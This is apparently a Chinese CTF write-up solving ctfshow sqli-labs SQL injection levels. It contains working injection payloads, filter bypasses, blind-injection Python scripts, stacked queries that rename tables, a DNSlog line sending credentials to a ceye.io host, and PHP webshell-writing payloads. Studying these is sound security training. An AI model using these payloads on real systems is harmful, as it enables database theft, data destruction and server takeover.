uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==
//" and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and "1"="1
POST:
uname=DUMB&passwd=DUMB
结果逆序一下是57-5f90-4841-a17a-aacc6cab9773}
flag:ctfshow{1b398957-5f90-4841-a17a-aacc6cab9773}
考点:绕过过滤注释符(各种闭合姿势)
回到了第一关的样式,我们需要GET提交一个id。
开始测试闭合:
?id=1' 报错near ''1'' LIMIT 0,1' at line 1
?id=1' --+ 报错near '' LIMIT 0,1' at line 1
?id=1' # 报错near '' LIMIT 0,1' at line 1
?id=1'' 登录成功
?id=-1' or '1'='1 登录成功
可以判断这里闭合是单引号,而且注释符被过滤!
测一下回显位:
?id=1' union select 1' 报错
?id=1' union select 1,2' 报错
?id=1' union select 1,2,3' 正常
?id=1' union select 1,2,3,4' 报错
判断回显位有三个。
也可以
?id=1' union select 1,2,3; %00
爆库: ctfshow
?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00
爆表: flag
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3 or '1'='1
爆列: flag4
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag
获取字段值(flag): ctfshow{62c6ea4a-97b1-4b8b-af0e-e0c4588bcc62}
?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),'3
考点:二次注入
进入24关,越来越真实了,有注册、登录、忘记密码等界面。
先用DUMB登录一下,登陆成功后跳转到了修改密码界面。
尝试注册一个用户名为admin
的用户,但是提示用户已经存在了,估计这题就是让我登录admin
的账号。
这源码咱不审也罢。。。。
二次注入:
二次排序注入也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
二次排序注入思路:
黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
题中我们的步骤是:
1、注册一个 admin'#
的账号,密码是123123
。
注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#
,密码是123123
。
2、接下来登录该帐号后进行修改密码,修改为111111
修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'
#' and password='admin原来的密码' ";
单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。
3、登录admin账号,密码就是111111
这题flag还是在数据库里面,要得到flag得盲注了。
用一下【孤桜懶契】大佬的脚本:
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/10
# blog: gylq.gitee.io
import requests
import time
flag = ""
#*************************************************************************************************************************************************************
#--------查库名
#sql="select group_concat(schema_name) from information_schema.schemata"
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'"
#--------查flag
sql= "select flag4 from ctfshow.flag"
#*************************************************************************************************************************************************************
payload = "admin' and if(ascii(substr(({}),{},1))>'{}',sleep(0.4),0)#"
i = 0
session = requests.session()
for i in range(1,666):
head = 32
tail = 127
while head < tail:
mid = (head+tail) >> 1
url_register = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login_create.php"
data = {
'username' : payload.format(sql,i,mid),
'password' : '22',
're_password' : '22',
'submit' : 'Register'
}
res = session.post(url=url_register,data=data)
url_login = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login.php"
data = {
'login_user' : payload.format(sql,i,mid),
'login_password' : '22',
'mysubmit' : 'Login'
}
res = session.post(url=url_login, data=data)
url_change = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/pass_change.php"
data = {
'current_password' : '22',
'password' : '1',
're_password' : '1',
'submit' : 'Reset'
}
start = time.time()
res = session.post(url=url_change, data=data)
end = time.time()
print(end - start)
if end-start > 0.4 and end-start < 1:
head = mid + 1
else:
tail = mid
if head != 32:
print('[*] 开始盲注第{}位'.format(i))
flag += chr(tail)
print(flag)
else:
print('[*] Complete! Result Is >>> {}'.format(flag))
break
说是过滤了and
和or
其实就是把字符串and
和or
替换成空,这里要注意一下,不一定是单独的and/or,如password中也有or,也是会被过滤替换的。我们用双写绕过+联合注入就行。
payload:
?id=-1' union select 1,group_concat(flag4s),3 from ctfshow.flags --+
第25a关。
还是过滤了and
和or
有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。这题和上一题的区别就在于,这题是整数注入,不用闭合。
payload:
?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3
看这提示应该是过滤了空格。
源码:
function blacklist($id)
{
//过滤替换or
$id= preg_replace('/or/i',"", $id);
//过滤替换and
$id= preg_replace('/and/i',"", $id);
//过滤替换/*
$id= preg_replace('/[\/\*]/',"", $id);
//过滤替换-- (注释符一部分)
$id= preg_replace('/[--]/',"", $id);
//过滤替换# (注释符)
$id= preg_replace('/[#]/',"", $id);
//过滤替换\s
//\s: 匹配一个空格符 等价于【\n\r\f\v\t】
$id= preg_replace('/[\s]/',"", $id);
//过滤替换 /\
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}
常规代替空格的字符:
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
基本上把所有可替代空格的都过滤了。但是空格的作用还可以用括号代替。
再测一下闭合和回显位 【一个比较不常用的注释符;%00
】
?id=1'anandd'1'='1 回显正常
?id=1';%00 回显正常
?id=1';%00--+ 报错
闭合是单引号
----------------------------
?id=1'union(select(1));%00 报错
?id=1'union(select(1),(2));%00 报错
?id=1'union(select(1),(2),(3));%00 回显正常
回显位是3
所以这题用括号代替空格+报错注入
payload:
//顺序读取
?id=1'||updatexml(1,concat(0x3d,(select(group_concat(flag4s))from(ctfshow.flags))),3)||'1'='1
//逆序读取
?id=1'||updatexml(1,concat(0x3d,(select(reverse(group_concat(flag4s)))from(ctfshow.flags))),3)||'1'='1
ctfshow{9e6c2ce7-fb7d-4112-a5c6-e0d4cf1e0156}
来到第26a关
和上一关不同的是,不显示具体报错了,导致无法使用报错注入。
那就回归联合注入,闭合是单引号+括号')'
payload:
?id=999')union((select(1),(group_concat(flag4s)),(3))from(ctfshow.flags))||('1')=('1
不知道为什么不行,不行就直接上盲注了。
import requests
url = "http://47b9f914-0fd8-44fc-964f-d44867657b75.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
过滤了select
和union
源码中过滤的部分:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out select.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
分析:
union select 都可以用字母大小写交替绕过。
只过滤 +和/**/代表的空格,可以用 %09、%0D 等绕过对空格的过滤。
因为 - 、#会被过滤,所以使 ID 为一个非常大的数,闭合使用非注释方式
因为有报错,所以联合注入和报错注入都可以用。
?id=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))or'0
?id=1000'%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
//【这个联合注入闭合无法用】 ' or'0 or'1'='1
和上题相比,闭合变成了双引号"
,同时也不返回具体报错。
联合注入还能继续用。
?id=1000"%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
过滤替换了一次union select
,闭合是')
payload:
?id=1000')%09ununion%09selection%09select%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
//经过过滤替换后,是
//1000') union select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00
源码:
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
只过滤替换了一次union select
,连空格都不过滤了,payload不变。
?id=1000') ununion selection select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00
他说,有最好的防火墙保护。
看看源码,让我康康。以下是漏洞点(login.php):
$qs = $_SERVER['QUERY_STRING'];//接受所有参数
$hint=$qs;
//分解接收到的参数的函数(解析第一个id参数)
$id1=java_implimentation($qs);
//解析最后一个id参数(第二个)
$id=$_GET['id'];
//过滤参数的函数。
whitelist($id1);
...
...
...
function whitelist($input)
{
//只匹配纯数字
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
//将id=1&id=2分割为[id=1,id=2]
$qs_array= explode("&",$q_s);
//遍历数组每个键值对
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
//获取参数id
if($val=="id")
{
//获取参数id的值
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
思路(代码逻辑漏洞导致的重复参数注入):
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。
根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值。
但是验证id是否是数字却只是验证了第一个id参数其实第29关(web549)是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。
构造两个id参数,
index.php?id=1&id=2
,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数
所以这题就很好绕过了
payload:
?id=1&id=-2%27union%20select%201,2,group_concat(flag4s) from ctfshow.flags--+
同29关一样,就是闭合方式变成了双引号"
payload:
?id=1&id=-2"union select 1,2,group_concat(flag4s) from ctfshow.flags--+
同29关一样,就是闭合方式变成了双引号+括号")
payload:
?id=1&id=-2")union select 1,2,group_concat(flag4s) from ctfshow.flags--+
考点:宽字节注入
先测试一下闭合
?id=1 #返回DUMB的信息,正常查询
?id=1' #返回DUMB的信息,正常查询
?id=1'''''''''''''''''''' #返回DUMB的信息,正常查询
?id=1''''''''''''''''''''--+ #返回DUMB的信息,正常查询
?id=1' or 1=1--+ #返回DUMB的信息,正常查询
好似我输入的单引号和没输入一样?!
先本地查看一下源码吧
使用check_addslashes方法里面的preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1'会变成id=1\'(在' " \ 等敏感字符前面添加反斜杠),使得引号不起作用。
但是可以注意到数据库使用了【gbk编码】。这里我们可以采用宽字节注入。
当某字符的大小为一个字节时,称其字符为窄字节
。当某字符的大小为两个字节时,称其字符为宽字节
。所有英文默认占一个字节,汉字占两个字节。
宽字节注入原理:
常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。
如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。
这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。
本题宽字节注入利用:
因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以
用%df 吃掉 \(%5c)
因为
urlencode(\') = %5c%27
,如果我们在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,%27
(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。
payload:
?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
如果可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。可惜这题也过滤了反斜杠\
(%5c)。
查看源码。
和上关过滤方式不同,本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符如下:
由此看来两关过滤防御方式是一样的,payload不变。
?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
注入天书:使用 addslashes (), 我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
考点:POST注入+宽字节注入。
payload:
uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
国光大佬还写了一个新方法:
将 utf-8 转换为 utf-16 或 utf-32,例如将 '
转为 utf-16 为�
,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
payload:
uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
这题无闭合,数字型注入。用了addslashes()函数作为过滤,但是出flag并不需要单引号,相当于没过滤。
payload:
?id=-1 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
但是哈,如果这题放到本地做,我们会发现,爆字段时候需要用加了引号的表名。表面的引号不可不加。
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'
宽字节注入法能吃掉反斜杠,但是产生的字符,会影响SQL语句。
为什么之前几题不影响SQL语句呢?????
假设宽字节注入后,产生的字符是【*】。
之前题目的payload:?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
带入SQL语句就是:
SELECT * FROM users WHERE id='【*】' union%20select%201,2,group_concat(flag4s) from ctfshow.flags
宽字节产生的奇怪字符属于是查询的id,不影响联合注入语句。
现在的payload:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'
带入SQL语句就是:
SELECT * FROM users WHERE id='1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=【*】'数据表名称【*】'
大大滴影响啊,报错如下:
本地做时,我们的绕过只需将表名换成十六进制编码就行,直接使用联合查询就可以了。
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
随便测一下 ,以前面加反斜杠方式过滤了单引号等字符。
查看源码,过滤函数变成了mysql_real_escape_string()
,作用和addslashes()函数一样。
payload:
?id=-1%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
或者
?id=-1�'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
随便测一下 ,还是以前面加反斜杠方式过滤了单引号等字符。这不过这次变成了双参数POST。
查看源码,过滤函数是mysql_real_escape_string()
。
payload:
uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
或者
uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
注:hackbar发包不用带submit=Submit,这个自动会加。
开启堆叠注入了
??????联合注入直接出了。。。。。
?id=-1' and 1=2 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
虽然没有一点过滤,那还是用堆叠试试吧,学点新知识。
什么是堆叠注入?
用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select * from users ; creat/drop table xxxx like users ;
这个指令就是在查询users的同时再创建一个名为xxxx的表
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
来源:https://www.jianshu.com/p/36f0772f5ce8
局限性:
补充:
mysql中点引号( ’ )和反引号( ` )的区别
mysql中 , linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反引号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
首先判断能否堆叠注入,show个库(回显所有的库)看看。
?id=-1';select 1,2,(show databases);-- + 【没成功】
向数据表插入id、账号、密码
?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +
然后输入?id=17
就可以查询到我刚刚新建的数据。
看国光大佬的博客,这里还能用DNSlog外带配合堆叠注入
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。
看国光大佬的博客,这里也能用开启日志 Getshell配合堆叠注入。
需要条件:
SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)
ctfshow中暂时没复现出来。【打个点,有空本地慢慢复现】
我们要获取flag的话,可以直接把存flag的表改名成users,因为题目服务器内查询语句查的是users表,那样我们就能直接通过?id=1
查出flag了。
?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
我想,我们要获取flag的话,参考前面,也可以插入数据,数据内容为select查到的flag。但是没有成功。【有疑惑】
?id=-1';insert into users(id,username,password) values (77,(select group_concat(flag4s) from ctfshow.flags),"don77")-- +
那就本地测试一下。
1、测试得出,insert插入数据,无法覆盖,只能新建,比如说上面的payload,如果id=77已有内容,那么无法插入,会报错Duplicate entry '77' for key 'PRIMARY'
(为键’PRIMARY’重复条目’77’)
2、我在user
表执行insert into user(id,username,password) values (77,(select username from user where id=3),"don77");
时,不会成功,因为不能from同一个表user。报错You can't specify target table 'user' for update in FROM clause
(不能在FROM子句中指定更新的目标表user)
3、在以上两个错误之外,本地尝试payloadinsert into user(id,username,password) values (777,(select username from biaoone where id=2),"don77");
可以成功。
4、回归最早的疑问payload,我们在本地构造语句insert into user(id,username,password) values (7777,(select group_concat(username) from biaoone),"don7777");
和insert into user(id,username,password) values (77777,(select group_concat(username) from xxx.biaoone),"don77777");
,都可以成功新建数据!!!!!!
5、回到题目,尝试?id=-1';insert into users(id,username,password) values (7777,(select database()),"don77")-- +
,发现可以新建数据。
6、和群主讨论了许久,最后发现,我payload没错。。。。。
因为这是直接插入数据,flag会写入字段里面。列长度不够,需要分段截取。数据库列长度不一定满足回显长度需求。所以遇到这种情况,最好截取试试。
修改一下payload?id=-1';insert into users(id,username,password) values (77,(select SUBSTRING(group_concat(flag4s),1,5) from ctfshow.flags),"don77")-- +
,慢慢截取。
和上一题一样,就是变成了数字型,不需要闭合。
payload:
?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
先测试一下闭合
?id=1 回显Dumb
?id=1'-- + 无回显
?id=1-- + 回显Dumb
?id=1"-- + 回显Dumb
?id=1''''''-- + 回显Dumb
?id=11#1 回显admin3,说明注释符都能用
?id=11--+1 回显admin3
?id=-1' union select 1,2,3--+
?id=-1" union select 1,2,3--+
?id=-1') union select 1,2,3--+
说明闭合是'),无报错信息
payload:
?id=1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +
详细比对源码,和第39关(web559)唯一区别就是没有了报错信息。
payload:
?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
页面够真实。 forgot your password?
和New User click here?
都提示我直接hack,没用正常忘记密码和创建账号的功能。
抓个包测试一下。
login_user=1'&login_password=1' 报错near ''1''' at line 1
login_user=1'--+&login_password=1'--+ 不报错
所以闭合是单引号
create_user=admin&create_password=111&mysubmit=create
报错Undefined index: login_user in <b>/var/www/html/login.php
说明想错了,这样不能创建用户。
**方法一:**首先这题有报错,那就可以报错注入。
login_user=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&login_password=1'--+&mysubmit=Login
不行,估计username有过滤。数据库没有使用gbk编码不能使用宽字节注入。
payload:
login_user=1'--+&login_password=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login
ctfshow{b9d4482b-9d86-4f90-8457-aef887775a37}
方法二:
联合注入
login_user=1'--+&login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3-- +&mysubmit=Login
无效,无回显
方法三:
堆叠注入
login_user=1'--+&login_password=-1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +&mysubmit=Login
堆叠注入有效,但是得不到flag。
重开环境
换一种堆叠方式:
login_user=1'--+&login_password=1'; show databasea;-- +&mysubmit=Login
不会回显数据库。无法得到flag。
方法四:
时间盲注/布尔盲注
这题就是闭合用 ')
,其他都一样。
payload:
login_user=1')--+&login_password=1000')or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login
ctfshow{6522706a-b7bf-4f06-9f07-ad8a842f1b51}
这关没有ctfshow的靶场了,直接本地开做。
一开始抓不到包,发现是IP的问题,注意看包里的HOST。
打开cmd,输入ipconfig
,cv自己的无线局域网IPV4。
这样就能抓到包了
因为127.0.0.1不抓包,所以抓不到包。基本上所有的代理,都有默认的不代理地址。
这关和42关一样,就是没有报错信息。
我们尝试布尔盲注。
可以看见,username设置为万能密码,如果passwd判断为真,就不会出现图片。
对应的修改一下脚本,发包。
#author:yu22x improve by jay17
import requests
import string
import base64
url="http://172.18.38.125:1470/Less-44/login.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
print(i)
for j in range(32,128):
# 跑库名
s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"
# 跑表名
#s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{i},1))/**/like/**/{j},1,0)#"
# 跑列名
#s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{i},1))/**/like/**/{j},1,0)#"
#######################
#s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(flag)/**/frOm/**/flag),{i},1))/**/like/**/{j},1,0)#"
#sre = s[::-1] #逆序
#sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8") #base64
#data={
# 'id':s,
#}
data={
"login_user":"1\'--+",
"login_password":s,
"mysubmit":"Login"
}
r=requests.post(url,data=data)
#print(r.text)
if "/images/slap1.jpg" not in r.text: #注意这里是【not in】
flag+=chr(j)
print(flag)
break
就跑个库名吧,算通关了。
和44关区别就在于,闭合变成了')
。同样没有报错信息。
直接跑布尔盲注脚本
提示变了,提示我们input parameter as SORT with numeric value
(以数字形式输入(sort)排序参数)
试了一下确实如此,而且是数字型,不用闭合。
是一种新类型注入,更着国光师傅的wp,验证一下。
一、升序和降序验证:
在数据库中,desc
是表示降序排列,asc
表示升序排列(默认升序)
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 dasc
二、rand()验证:
rand():生产0-1的随机数;括号里可以填种子,它就会按种子的规律生产数。
rand (ture) 和 rand (false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
三、延时验证:
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
看看源码。
可以看到数据库语句变为了SELECT * FROM users ORDER BY $id
在数据库中,desc
是表示降序排列,asc
表示升序排列(默认升序)
上面的数据库语句也可以看作SELECT * FROM users ORDER BY $id asc
这个就是按照第$id列的数值进行升序排列。
排序注入
源码: $sql = "SELECT * FROM users ORDER BY $id";
select使用文档:https://dev.mysql.com/doc/refman/8.0/en/select.html
分析:不同于 where 查询后可以用 union select 注入,可见order by后面不能使用联合查询,可以使用
limit,into outfile等语句,还可以跟数字等。
方法一:报错注入
可以拼接报错语句。
?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
也可以直接注入报错注入语句。
?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))-- +
ctfshow{7c933c76-fd43-47fd-83ec-f6b526b916c4}
此外,利用 procedure analyse 参数,也可以执行报错注入。
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(flag4s)from(ctfshow.flags)),0x7e))),1)
方法二:盲注
直接注行得通
?sort=3 and if((length(database())=8),1,sleep(5))--+
也可以利用上文提到的rand来盲注。
?sort=rand(left(database(),1)>'r')
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
方法三:写入文件
?sort=1 into outfile "/var/www/html/x.txt"
结果验证,我们有写入文件的权限。
同理,那我们可以写入shell到文件。
写入webshell条件:
1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv=“” ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
写入shell方式汇总(与题目无关,知识补充):
1.union select写入
1' union select 1,"<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/x.php' -- +
2.lines terminated by写入
当mysql注入点为盲注、报错或排序,Union select写入是不能利用的,那么可以通过分隔符写入,SQLMAP的–os-shell命令,所采用的就是这种方式。
利用lines terminated by语句进行拼接,可以理解成以每行结尾的位置添加xx语句
?sort=1' into outfile "/var/www/html/x.php" lines terminated by '<?php phpinfo(); ?>'--+
3.lines starting by写入
1’ into outfile ‘E:\phpStudy\PHPTutorial\WWW\DVWA-master\123.php’ lines starting by ‘<?php phpinfo() ?>’–
?sort=1' into outfile "/var/www/html/x.php" lines starting by '<?php phpinfo(); ?>'--+
利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句
4.fields terminated by写入
?sort=1' into outfile "/var/www/html/x.php" fields terminated by '<?php phpinfo(); ?>'--+
利用fields terminated by语句进行拼接,拼接后面的webshell内容,fields terminated by可以理解为以每个字段的位置添加xx内容
5.COLUMNS terminated by写入
